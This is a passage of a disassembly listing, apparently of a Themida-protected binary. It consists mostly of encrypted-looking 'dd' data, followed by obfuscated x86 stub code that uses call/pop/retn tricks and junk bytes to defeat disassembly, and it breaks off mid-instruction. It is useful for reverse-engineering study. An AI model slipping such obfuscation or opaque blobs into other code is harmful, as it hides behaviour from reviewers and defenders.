5C309B52h dd 6438C0ECh, 20A5C040h, 77FEC432h, 5E0083DAh, 191C75CDh dd 0BD302695h, 2611DAD2h, 0DF4A739Eh, 71B9AE18h, 20B9C78Ch dd 0E3E0E432h, 4F54D40h, 4FD4588h, 20B9D142h, 0E3E88523h dd 0A4B67E5Dh, 20B9C4CDh, 26F2FDDh, 6D3C4D0Ah, 0A9BF6C35h dd 88B80531h, 0F53C0240h, 67BF6C36h, 0C86F7B9Eh, 20B9C4CCh dd 8A74F839h, 20AA2D62h, 9E18C419h, 953C445Ch, 0A0FD60ADh dd 2195E8CAh, 660DDBBFh, 4FD4FFBh, 20BF2D60h, 85C5C432h dd 0B07F465Fh, 0AFB6C407h, 20B9C442h, 97D17A45h, 249D8018h dd 8124CD90h, 9FBF6C71h, 5F2486D0h, 2F2C71E6h, 0A1E8C224h dd 9EB1F380h, 0A5349A01h, 2612ADE0h, 0C8EAC4A2h, 20B9C467h dd 7B7A9F12h, 249D9890h, 249D800Dh, 20B9C45Bh, 6B7A9760h dd 0B46511E9h, 18EBBBD1h, 290C4DFFh, 0DFBF6C00h, 71B9AEC9h dd 20B9C764h, 0E3E0E446h, 4F54D7Ah, 4FD4595h, 20B9D8CCh dd 0E3E88564h, 62897A33h, 51061B80h, 753C4DFEh, 4ABF6C60h dd 23519623h, 0B9C491h, 0A9E30792h, 0A1BDE030h, 39BDE076h dd 62B9C419h, 0BF0807DEh, 0BF6CC968h, 2FDC41AAh, 0B532C239h dd 2611F6D1h, 9530149Bh, 2611F6BBh, 5450457Fh, 5D3C4D9Ah dd 4ABF6C6Dh, 23519623h, 0B9C491h, 0A9E30792h, 0A1BDE030h dd 3CBDE076h, 62B9C419h, 162B07DEh, 408662B9h, 0DCFF52CDh dd 4A6148F7h, 235193C8h, 0B9C464h, 0A9E6076Dh, 0A1BDE065h dd 3ABDE0C8h, 67B9C446h, 33AD0774h, 2149A4F0h, 46D4EC2h dd 0AB4CA460h, 88B291BFh, 4008A51Fh, 0A4B60486h, 20B9C7D4h dd 0C8EFC449h, 20B9C492h, 7E7A9AE8h, 249DB0EDh, 249D80B3h dd 20B9C40Fh, 397A92CAh, 0C73831E1h, 7F96C276h, 0A57F9EC1h dd 2611D11Dh, 71B9AE2Bh, 20B9C7DAh, 0E3E0E419h, 4F54DD5h dd 4FD4542h, 20B9DD27h, 0E3E88591h, 709DCC2Fh, 0BD30C3A3h dd 2611CA87h, 202DACE1h, 72E908E6h, 28509616h, 0A0B9C423h dd 630D8EEFh, 2F65525Ch, 2D07A255h, 2FE19E22h, 2D50A428h dd 37B9C48Ch, 69E8F445h, 2730C4EEh, 69CE7F72h, 7AD80C43h dd 48D453Ch, 5353A862h, 25E04992h, 9546C224h, 2611CBD3h dd 0C8EEC449h, 20B9C492h, 7F7A9BE8h, 249DB8EDh, 249D80B3h dd 20B9C40Dh, 0DF7A93CBh dd 5D24ED26h, 40BF6C22h, 20B9499Eh, 0CF38C4C8h, 52DC722Ch dd 0A534A553h, 2612AD68h, 3A347107h, 0F046C2EEh, 0C8EEC449h dd 20B9C492h, 7F7A9BE8h, 249DB8EDh, 249D80B3h, 20B9C404h dd 617A93CBh, 7B629F8Ch, 22D225C9h, 9D3CC5FAh, 0A3BF6CDEh dd 5C06E0A4h, 0A98DF92Ch, 88BE859Ch, 513CC58Ah, 0ABBF6C4Ch dd 8892B9A6h, 0A2B69297h, 20B9C4CEh, 265459EDh, 0ABE7C29Ah dd 889F9184h, 76B9AE8Ah, 20B9C7AEh, 0E3E7E423h, 4CD4DCFh dd 4FD45CCh, 20B9D060h, 0E3EF8232h, 0EB06CB89h, 70B9AECFh dd 20B9C7AEh, 0E3E1E423h, 4FD4DC9h, 4FD45CCh, 20B9D060h dd 0E3E98432h, 0AB484FB5h, 47504597h, 0ABA68D02h, 71B9AE38h dd 20B9C779h, 0E3E0E4C8h, 4F54D3Dh, 4FD4536h, 20B9D91Dh dd 0E3E8858Ch, 498D237h, 0C60ECEB8h, 3B32F55Fh, 0CD7B877h dd 4A61F74Eh, 23519332h, 0B9C419h, 0A9E607D3h, 0A1BDE03Ah dd 3CBDE067h, 67B9C491h, 53D079Fh, 0D286EC48h, 0AA5DD208h dd 693C4DD1h, 0A9BF6C98h, 88A499DBh, 0E238A225h, 0A57F6101h dd 2611D11Dh, 73B9AE23h, 20B9C7DAh, 0E3E2E419h, 4E54DD7h dd 4FD4542h, 20B9D227h, 0E3EA8791h, 463D7D25h, 0D0235E5h dd 18D1F483h, 70102CBFh, 0F803A2DEh, 7088CBD4h, 749C6B9Ch dd 78E39DD3h, 0B19DF049h, 4AA7F21Fh, 23519532h, 0B9C419h dd 0A9E007D5h, 0A1BDE00Ah, 3CBDE067h, 61B9C491h, 0FA460799h dd 0BF036B77h, 0AB647F83h, 889FCDACh, 212CED8Ah, 0DFBF6C6Eh dd 88B65196h, 0C5344D97h, 2FBF6CECh, 20B9C9E9h, 20B12D32h dd 65BCC419h, 0E1219613h, 0A534F112h, 2612AD52h, 0C8EFC4FBh dd 20B9C4CBh, 7E7A9A44h, 249DB0BBh, 249D8098h, 20B9C497h dd 1A7A9200h, 32FD0A40h, 722BF5A6h, 0A0841C9h, 46E3C2CCh dd 0DF4AD28Bh, 75B9AEC9h, 20B9C764h, 0E3E4E446h, 4D54D7Eh dd 4FD4595h, 20B9D1CCh, 0E3EC8164h, 0C7388FDCh, 2EEB7281h dd 0CD84105h, 20D3C2EEh, 20BA2C74h, 7F99C491h, 5C309B0Bh dd 6438C040h, 20A1C016h, 77FEC419h, 3B9B524Fh, 0A5B6162Ch dd 20B9C426h, 0B67645F7h, 20D38470h, 20BA2C36h, 7A99C432h dd 74309EDAh, 6438C0A8h, 20A4C062h, 72FBC423h, 932C3C52h dd 0AE638DAh, 0AB232933h, 75B9AE32h, 20B9C7F1h, 0E3E4E48Ch dd 4D54D1Bh, 4FD4527h, 20B9DE95h, 0E3EC81C8h, 1316A641h dd 0ABCEF9ECh, 0E53C4D19h, 4ABF6C8Ah, 23519446h, 0B9C423h dd 0A9E107C9h, 0A1BDE08Ch, 34BDE020h, 60B9C432h, 9580749h dd 88B31901h, 206D2D40h, 0C9EEC423h, 20B9C498h, 2A3D717Ch dd 0C8A974BEh, 0A5349DDFh, 26126658h, 0DB7745EAh, 0FB0F5495h dd 46EB9473h, 11B60E1Ah, 0D232A29Fh, 0B0E19E3Dh, 3E5451CDh dd 9532C2B1h, 2611F571h, 82FE59CBh, 7041C288h, 20B9D479h dd 0E145F8C8h, 201AE9B4h, 0A90519BDh, 0CC596E2h, 0F632A2BDh dd 4A54D1Fh, 20B5462Ch, 0A5B6C491h, 20B9C4CEh, 20B9426Bh dd 2FE9C432h, 20B9C693h, 0A9764F8Ch, 0DF40E042h, 88B0CDB6h dd 77B9AE97h, 20B9C720h, 0E3E6E464h, 4C54D6Dh, 4FD451Dh dd 20B9D088h, 0E3EE8346h, 20AB2D99h, 0E74DC491h, 8CDAE433h dd 0DD4C637Dh, 6FDB41B5h, 0E0D5F18Fh, 27F84105h, 2D50C2EEh dd 47B9C423h, 0E7472DF3h, 0A0183C5Dh, 85039908h, 252879BBh dd 0A57FC2B1h, 2611D159h, 0A10C4F15h, 0C8BF6C0Fh, 20B9C495h dd 8A3E40B7h, 20B9D08Ch, 7CC80532h, 892CABFh, 3C512D38h dd 0D307221h, 0E80B4921h, 0ABE99A62h, 4FD4F32h, 0D0647D60h dd 2032AEEFh, 2CDF7E7Fh, 249D8005h, 48A17B20h, 76B9AE7Bh dd 20B9C779h, 0E3E7E4C8h, 4CD4D3Ah, 4FD4536h, 20B9D11Dh dd 0E3EF828Ch, 5D08C211h, 2F2C71DCh, 20D3C239h, 20BA2C9Fh dd 7F99C464h, 5C309BF1h, 6438C03Dh, 20A1C0A8h, 77FEC446h dd 0F7D99AE0h, 0AD30A720h, 2611EBC9h, 0A5343EEFh, 2612AD43h dd 0C8E8C473h, 20B9C48Fh, 797A9D66h, 249D88AAh, 249D8010h dd 20B9C4D5h, 687A9525h, 708938CFh, 2C8010EAh, 70524EE5h dd 20B9C8AFh, 87CE3D23h, 2E4E022h, 3DFE4018h, 0F0469A5Eh dd 0C8EFC458h, 20B9C41Ah, 7E7A9AACh, 249DB0CFh, 249D80A2h dd 20B9C484h, 657A928Eh, 3D3C4D61h, 29BF6C2Ch, 888939A4h dd 0F53C028Ah, 67BF6C53h, 0C8EEC449h, 20B9C492h, 7F7A9BE8h dd 249DB8EDh, 249D80B3h, 20B9C404h, 9D7A93CBh, 79C6A2E2h dd 0CCA800BAh, 0C81E763Fh, 20B9C4CCh, 81CBD1F4h, 20B9C2DAh dd 0E14F8219h, 7085D186h, 1E03A214h, 7A88CB45h, 91E99DC9h dd 4FD4F01h, 0C9EB9460h, 20B9C420h, 0BF48A4F1h, 0CD9961E2h dd 0BF9F793Bh, 0DA57F82Eh, 11B67E31h, 20329C92h, 0D5837A02h dd 249D80BBh, 78734F7Fh, 68147DEAh, 2F2C71B9h, 0ADB8C28Bh dd 2611D13Ch, 49C84145h, 9588C2CFh, 2611DDA3h, 0A53014E6h dd 2611E515h, 0C8EFC42Ch, 20B9C420h, 7E7A9AB1h, 249DB041h dd 249D80E5h, 20B9C42Bh, 0E47A925Fh, 3F66FD15h, 46494F39h dd 6F9405A2h, 356C4157h, 4AEAC260h, 23519164h, 0B9C432h dd 0A9E40744h, 0A1BDE0E0h, 39BDE002h, 65B9C423h, 0C07407C4h dd 14DE3EF7h, 0EA0D550Ch, 393ECB6Dh, 0C8B9C419h, 20B9C485h dd 4B37AC92h, 0ED753672h, 20BC2D74h, 980CC4C8h, 7F5C4F02h dd 0DF9DC0B3h, 0C980AAB3h, 20B9C49Dh, 7A6390A6h, 21FCFB12h dd 63220F94h, 3484B9A5h, 0B50C3B8Ah, 4ABF6C3Dh, 23519519h dd 0B9C48Ch, 0A9E0071Fh, 0A1BDE06Fh, 37BDE0D5h, 61B9C4C8h dd 11B60735h, 4D06A268h, 11ED6B8Ch, 88917D09h, 513C4940h dd 21BF6F4Ah, 88A2A914h, 4A693BCEh, 23519564h, 0B9C432h dd 0A9E00740h, 0A1BDE0C0h, 3ABDE002h, 61B9C423h, 0C0307C0h dd 5D8D191Fh, 0D30ECB1Ah, 6441BBh, 0BD30C2B1h, 2611D179h dd 356C4180h, 4AEEC28Bh, 23519191h, 0B9C4C8h, 0A9E40739h dd 0A1BDE05Eh, 3BBDE05Dh, 65B9C48Ch, 0E30E0713h, 903CC9FDh dd 0E0D1AE84h, 0A1905A37h, 72FFE060h, 3350A257h, 0FEB9C419h dd 0EDBF8B5Eh, 67A991C1h, 1A5ABC3Ah, 8DE07FACh, 9546864Ch dd 2611CBF1h, 0C8E8C458h, 20B9C41Ah, 797A9DACh, 249D88CFh dd 249D80A2h, 20B9C48Bh, 0C67A9589h, 818037C7h, 0A5341B45h dd 2612AD68h, 77471BFh, 0F046C2EEh, 0C8E9C449h, 20B9C492h dd 787A9CE8h, 249D80EDh, 249D80B3h, 20B9C402h, 4F7A94CCh dd 0C451C598h, 0A9E92B59h, 8893B914h, 97B6A4CEh, 0CD24E7ABh dd 41BF6C39h, 356C41DFh, 11FAC224h, 888989DBh, 0BD3AAC25h dd 243895B2h, 4C6B61ECh, 73B9AE0Fh, 20B9C7DAh, 0E3E2E419h dd 4E54DD7h, 4FD4542h, 20B9D327h, 0E3EA8791h, 0B87165F8h dd 0CF85955h, 0ABDFC29Ah, 0B50C3BC9h, 4ABF6C83h, 23519446h dd 0B9C423h, 0A9E107C9h, 0A1BDE08Ch, 38BDE020h, 60B9C432h dd 0A13C0749h, 0ABAD771Bh, 88B0F9CBh, 513C4925h, 4ABF6FF8h dd 235197C8h, 0B9C464h, 0A9E20769h, 0A1BDE045h, 34BDE0C8h dd 63B9C446h, 0DF900770h, 0EB32A241h, 22384141h, 20D3C2CCh dd 20BA2C63h, 7999C419h, 6C309D4Fh, 6438C062h, 20ADC007h dd 71F8C491h, 7EE9DB0Bh, 0AD777B6Bh, 8B1BF3B7h, 0D92C4F1Fh dd 70BF6C80h, 70EB9616h, 7A88CB71h, 11B69AC9h, 2FEB9499h dd 7AE19E55h, 24309C68h, 72B9AE3Dh, 20B9C764h, 0E3E3E446h dd 4ED4D79h, 4FD4595h, 20B9DCCCh, 0E3EB8664h, 0C8568684h dd 750C4F8Bh, 0DFBF6C9Bh dd 88A729D3h, 71B9AE25h, 20B9C779h, 0E3E0E4C8h, 4F54D3Dh dd 4FD4536h, 20B9DF1Dh, 0E3E8858Ch, 45E74D7Fh, 0E0A70754h dd 2D54491Ah, 0F832C260h, 0A53430EEh, 26126619h, 3E4C7992h dd 0A9E9C224h, 20D3E042h, 20BA2C73h, 7899C491h, 64309C0Bh dd 6438C040h, 20A1C016h, 70F9C419h, 0CCB5E24Fh, 9FB6885Dh dd 345057D0h, 0E7B9C491h, 1A730284h, 97B97FDAh, 65E53AEEh dd 40521519h, 70C3C316h, 20B9CCAFh, 0E7246F23h, 0AD4D97DBh dd 9EDF57ACh, 0B54645C2h, 2611CD3Bh, 0A9494F7Fh, 88BF4909h dd 72B9AE40h, 20B9C7CBh, 0E3E3E491h, 4ED4D92h, 4FD4560h dd 20B9D836h, 0E3EB8619h, 0BA98B0D4h, 1FAF5348h, 2636CB33h dd 0A9B9C491h, 88B3A57Dh, 4D3C0362h, 2FBF6C25h, 4AB9C419h dd 2351918Ch, 0B9C446h, 0A9E4077Eh, 0A1BDE0FDh, 35BDE08Ch dd 65B9C464h, 74B70767h, 28A45190h, 0D733C224h, 263451B9h dd 20D3C28Bh, 20BA2CC7h, 7E99C4C8h, 54309AA7h, 6438C016h dd 20A2C03Dh, 76FFC48Ch, 9F9C2D85h, 0D7B154C4h, 0E938A22Ch dd 0A530D25Eh, 2611DFB5h, 0C8EBC458h, 20B9C41Ah, 7A7A9EACh dd 249D90CFh, 249D80A2h, 20B9C48Bh, 197A968Ah, 3B165EDCh dd 0A532EED3h, 2611DDB8h, 96625901h, 6330C2EDh, 65044922h dd 0ADBF6C99h, 8B0F717Dh, 208A7D62h, 844AC432h, 2001F7F2h dd 2BB9C48Ch, 0E2BAB086h, 6432C43Bh, 0C8EAC8B5h, 20B9C4C8h dd 377A453Fh, 0A9B9C432h, 0A9A9E045h, 7BADE0C8h, 8219F3FEh dd 0AB593B23h, 0DFBDE0D5h, 2D044D28h, 0ABBF6C63h, 73B9AEC8h dd 20B9C7F1h, 0E3E2E48Ch, 4E54D1Dh, 4FD4527h, 20B9D895h dd 0E3EA87C8h, 684B5185h, 0C849D552h, 19344FD4h, 41BF6CA2h dd 0C8EAC42Ch, 20B9C420h, 7B7A9FB1h, 249D9841h, 249D80E5h dd 20B9C42Ah, 727A975Ah, 0E6AE119h, 2DD8796Dh, 9D34C28Bh dd 261266BAh, 97E44945h, 1501C2CFh, 1321E299h, 888AAD9Ch dd 0E176EF8Ah, 0D920D3A4h, 4620BA2Ch, 0E07D99C4h, 0B54C3099h dd 0EC6438C0h, 6420ADC0h, 0E983FCC4h, 8BA4F305h, 55006AD9h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0CB0834C2h, 4291805Ch, 40E90170h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0A2DEC350h, 2F8365E2h, 606E90BDh, 6161EFB1h, 10E9h dd 2F5B3E00h, 1EBDE525h, 20ADBD5Ah, 0D991D965h, 8BF5C365h dd 8E0F60C0h, 3, 0E8D8B70Fh, 8, 88A82DFFh, 92654B8Eh, 83615FF9h dd 0A81ED9BDh, 9750006h, 2DE9BD83h, 740006A8h, 8B535019h dd 4B9B8C0h, 85890000h, 6A80FD5h, 0A2139D8Dh, 0D3FF06AAh dd 0BD83585Bh, 6A82DE9h, 50177400h, 4B9B853h, 85890000h dd 6A80FD5h, 9EB49D8Dh, 0D3FF06AAh, 8B0F585Bh, 1, 56006AF5h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 70F80EB5h, 3F4D3947h, 6AC08B41h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 59E6C355h dd 40283422h, 0BD8BC18Bh, 6A81769h, 4EBh, 8F0F0000h, 0Ch dd 68C0Fh, 9D090000h, 6A81B19h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 2AC35343h, 5548FD3Ch, 3385858Dh dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 66C8F0C3h, 59FEEE81h, 8B665090h, 6A90FBh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0BD039AC3h, 6A8062Dh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 6E333FC3h, 8FE03DF1h dd 6A006ABDh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0B67DC357h, 0BFDC4607h, 5222DB54h dd 0EFD68166h, 0BD095E5Eh, 6A801A5h, 11E9h, 401B7000h dd 0A2AA8BFh, 55F37F80h, 47740614h, 858D740Dh, 6ABBAD8h dd 5C083F9h, 7E990h, 989D0000h, 0A0228DF2h, 536050D2h dd 10E9h, 0DEDC1700h, 0B995610h, 9C129301h, 9DF08CA0h dd 50505F8Eh, 5A310F52h, 90615F58h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 38C35747h, 337C87AEh, 60B97C95h dd 0AADBD89h, 8D8906A8h, 6A8144Dh, 6A006A61h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0AD0AC350h, 90879237h, 3AFF9A68h, 0CE9BD8Bh, 6A06A8h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 75C35747h dd 0CCD7D5h, 8AAC5E5Eh, 254195FFh, 958906A8h, 6A80651h dd 8C7F9D8Dh, 958906ABh, 6A80BF9h, 6AD3FFh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0B9D9BDC3h dd 0FB057148h, 0EE93FEEh, 64000000h, 0D219113Bh, 7795630h dd 0B5189893h, 0F8B70F80h, 33F185FFh, 6A06A8h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 69DDEAC3h, 96D52A95h, 0B7BF66B3h, 651E9EBh, 0E80000h dd 5D000000h, 0BAE2ED81h, 6A06ABh, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 5387EBC3h, 0B3ABBF66h dd 176DBD81h, 7D006A8h, 860F0000h, 112h, 799B58Bh, 9D8B06A8h dd 6A8251Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 1CC35040h, 5E94Ch, 0FBB80000h, 817D24D3h, 100E3h dd 29B52300h, 6606A822h, 0D277CE81h, 850FDB0Bh, 89h, 0B8A5BD83h dd 0F0006ABh, 4A84h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0CED3C5DFh, 16EA5EF4h dd 0F60DB94h, 685h, 0D858B00h, 8906A81Fh, 0A814D18Dh, 8D296106h dd 6A82FADh, 67E9h, 3D9D2900h, 0C706A825h, 0ABB8A585h dd 106h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0BD8BAA4Bh, 6A814C5h, 2FE9h, 0A585C700h dd 6ABB8h, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0C369C350h, 165B5768h, 7028C75Bh dd 251D9D8Dh, 238106A8h, 0FFFFFEFFh, 8C66F98Bh, 51006ADBh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 0B926EFA0h, 4C3F6F9h, 0AC840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 7F9880C3h dd 47BE669Bh, 8D95FF52h, 6A06A806h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 2399C353h dd 737B769Eh, 0CDB58B43h, 0BF06A806h, 68B4A107h, 0F88B6650h dd 6A240489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0E24CC357h, 1BA18531h, 0E85706A8h dd 6, 53312637h, 12E8DBE5h, 10000000h, 0A4B1DE5Fh, 60EF8ADAh dd 5F802A7Eh, 0ECD508CEh, 5F5E5F32h, 17DBD8Bh, 56E906A8h dd 0F8000003h, 0BD8900B0h, 6A80DD9h, 71E470E6h, 208B0Fh dd 0BE80000h, 0F8000000h, 33821518h, 1B747AC3h, 0AE99A74h dd 0CB000000h, 0ECF67B0Bh, 38971045h dd 0B60F5F66h, 26D5BED8h, 6BA3818h, 23000000h, 0A817EDBDh dd 6AC38B06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 4C71C351h, 0D08FDDC8h, 6604E8C1h dd 669873BEh, 800FE2F7h, 0Eh, 5E8h, 90D06E00h, 8B66A2BBh dd 0D82B5EFEh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0A8C35141h, 0F3F08240h, 571DD274h, 0B9666036h dd 0AE92C91h, 0EC000000h, 89394BC2h, 0C377655Eh, 8B66611Eh dd 0BF6650F0h, 1C891165h, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 86572D7Ch dd 2F61BD89h, 870F06A8h, 6, 1441B58Bh, 0B5FF06A8h, 6A8176Dh dd 95FFF78Bh, 6A81B31h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0C5C35646h, 0A9779B0Fh, 0D9B589C0h, 0B006A80Dh dd 19958900h, 0E606A807h, 0A1BD8B70h, 2B06A833h, 0A83241B5h dd 6071E406h, 0FF78B66h, 2961DFB7h, 0A821DDBDh, 0F613C06h dd 1F483h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 12E2B1F4h, 8C395415h, 300DB58Bh dd 0B60F06A8h, 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 1A466DE2h, 0A6BCC43Eh dd 0ECD7816Eh, 0BA1EAAE3h, 6, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 95C35242h, 0DFE30BF3h, 0D7A1299h dd 1A098D89h, 0C38B06A8h, 27758509h, 0E8C106A8h, 52006A04h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0AC32771Eh, 0EE9DEh, 355E0000h, 63C5AF24h, 71D07543h dd 52EA32BDh, 0E9E2F766h, 0Fh, 862EF6FDh, 9E05D2ACh, 74723EA0h dd 2B341793h, 58FA8BD8h, 3375BD03h, 0D82B06A8h, 107880Fh dd 0FE90000h, 48000000h, 0D8B71C58h, 0CB026C4h, 713F3D56h dd 7B92CF2h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 2CDAC351h, 0B0E651F7h dd 6830F4Ch, 1000000h, 0A826CD8Dh, 0D1BD8B06h, 8306A80Dh dd 0B70F00C1h, 3D8589F8h, 3B06A81Dh, 0A6860FD9h, 8B000000h dd 0D98C66FAh, 0F6F98B66h, 840F04C1h, 90h, 2E7D8D89h, 95FF06A8h dd 6A8068Dh, 14E68166h, 6A5BE6h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 748FA1C3h, 2BC76A5Eh dd 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0A362D159h, 0D75BC68Fh, 8343DFCh, 860F0000h dd 2Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah dd 69C35545h, 4E9626C2h, 35BE5D32h, 0E973E1E0h, 5, 0B70FC08Bh dd 8BC38BFBh, 659D29D8h, 0C706A801h, 0A8302185h, 0CFAFD506h dd 57006A18h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 643E3A4Ah, 2482AC96h, 89BD8B42h, 8906A833h dd 0A8009D85h, 81C08B06h, 0A8176DBDh, 7D006h, 29850F00h dd 0BE000000h, 56B893D2h, 176D85FFh, 6A06A8h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 10F765C3h dd 176DB5FFh, 0BD8906A8h, 6A815E1h, 1B3195FFh, 6A06A8h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 830ECEC3h, 0C6CEF54Eh, 68BE66D4h, 0BB47BFFDh, 0B8907F0Fh dd 12345678h, 0C11E9D8Dh, 0AFE906ABh, 8BFFFFF9h, 57006AC1h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 21F7FCEAh, 511C3C3Bh, 415CC781h, 0EB5F635Bh, 4, 10E96000h dd 1000000h, 97C06173h, 76CA2AE8h, 0B69C08CFh, 0E9D4D420h dd 8, 86183391h, 0E75F6FE6h, 0EBF8BE61h, 0EE81742Ch, 0EAE90EAh dd 3385858Dh, 0BE6606A8h, 609083D4h, 6D9BBA66h, 0F905061h dd 686h, 20D68100h, 6A0BF040h, 0CE900h, 3DB70000h, 8D640B96h dd 6ACE9154h, 6AD297h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 9DC35141h, 0A5D573B5h, 8DFFFF45h, 0ABC2ED85h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 64323F68h, 9D01524Ah, 6A80E39h, 9005C083h dd 5E850h, 4BD10000h, 5F2733A6h, 50006A90h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0FAA7C8E6h dd 7B32943Fh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 666078C3h, 0C15EE81h, 1C098509h dd 606106A8h, 0E719D23h, 8D8906A8h, 6A81F81h, 0FF006A61h dd 0A8254195h, 880F06h, 8D000000h, 0AB8C7F9Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 8997E74Ch, 6AD3FF3Ch, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 9AAFC355h, 0B58B528Ch dd 6A809B5h, 2B61B50Bh, 85FF06A8h, 6A833F1h, 0ED46E781h dd 0BDE91C48h, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6ABC2F7h cmp dword ptr [ebp+6A8176Dh], 7D0h jbe loc_585E03 mov [ebp+6A80DD9h], eax mov ebx, [ebp+6A81E4Dh] jmp loc_585D3E ; --------------------------------------------------------------------------- dd 0F45E76FBh, 3793942Eh, 0A79A0028h, 0AE093BBCh db 6, 0FEh ; --------------------------------------------------------------------------- loc_585D3E: ; CODE XREF: Themida_:00585D27j and ebx, 100h mov [ebp+6A8210Dh], ecx or ebx, ebx jnz loc_585DA8 cmp dword ptr [ebp+6ABC15Ch], 0 jz loc_585D70 mov [ebp+6A82769h], eax jmp loc_585DB8 ; --------------------------------------------------------------------------- xor [ebp+6A82115h], esi loc_585D70: ; CODE XREF: Themida_:00585D59j mov dword ptr [ebp+6ABC15Ch], 1 call sub_585D93 in al, dx fcomp qword ptr [ebp-69D67BBEh] pop edi add al, 3Ah sub ds:1BE6AA9Fh, cl scasb xor byte ptr [ebx], 0D9h ; =============== S U B R O U T I N E ======================================= sub_585D93 proc near ; CODE XREF: Themida_:00585D7Ap or di, 90AAh pop esi mov [ebp+6A810FDh], esi jmp loc_585DB8 ; --------------------------------------------------------------------------- mov di, 0B838h loc_585DA8: ; CODE XREF: Themida_:00585D4Cj mov dword ptr [ebp+6ABC15Ch], 0 mov esi, [ebp+6A8333Dh] loc_585DB8: ; CODE XREF: Themida_:00585D65j ; sub_585D93+Cj lea ebx, [ebp+6A81E4Dh] and dword ptr [ebx], 0FFFFFEFFh push 0 push edi call sub_585DCF and [edi-3Dh], bl sub_585D93 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_585DCF proc near ; CODE XREF: sub_585D93+34p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_585DCF endp ; --------------------------------------------------------------------------- db 43h dd 2391E3A5h, 89005316h, 0A81E2DBDh, 0CE806h, 0BEB90000h dd 3AEDF738h, 662D25E7h, 0BE662756h db 2Fh, 82h, 5Fh ; --------------------------------------------------------------------------- loc_585E03: ; CODE XREF: Themida_:00585D15j mov bx, ds push 0 loc_585E08: ; CODE XREF: Themida_:00585E7Cj push edx call sub_585E11 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585E11 proc near ; CODE XREF: Themida_:00585E09p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_585E11 endp ; --------------------------------------------------------------------------- inc edx js short loc_585E66 xchg eax, ecx sub al, 0F4h add si, 477Bh test bl, 4 jz loc_585E83 push 0 push ecx call sub_585E40 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585E40 proc near ; CODE XREF: Themida_:00585E38p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_585E40 endp ; --------------------------------------------------------------------------- push edx movsx edi, si call dword ptr [ebp+6A8068Dh] jmp 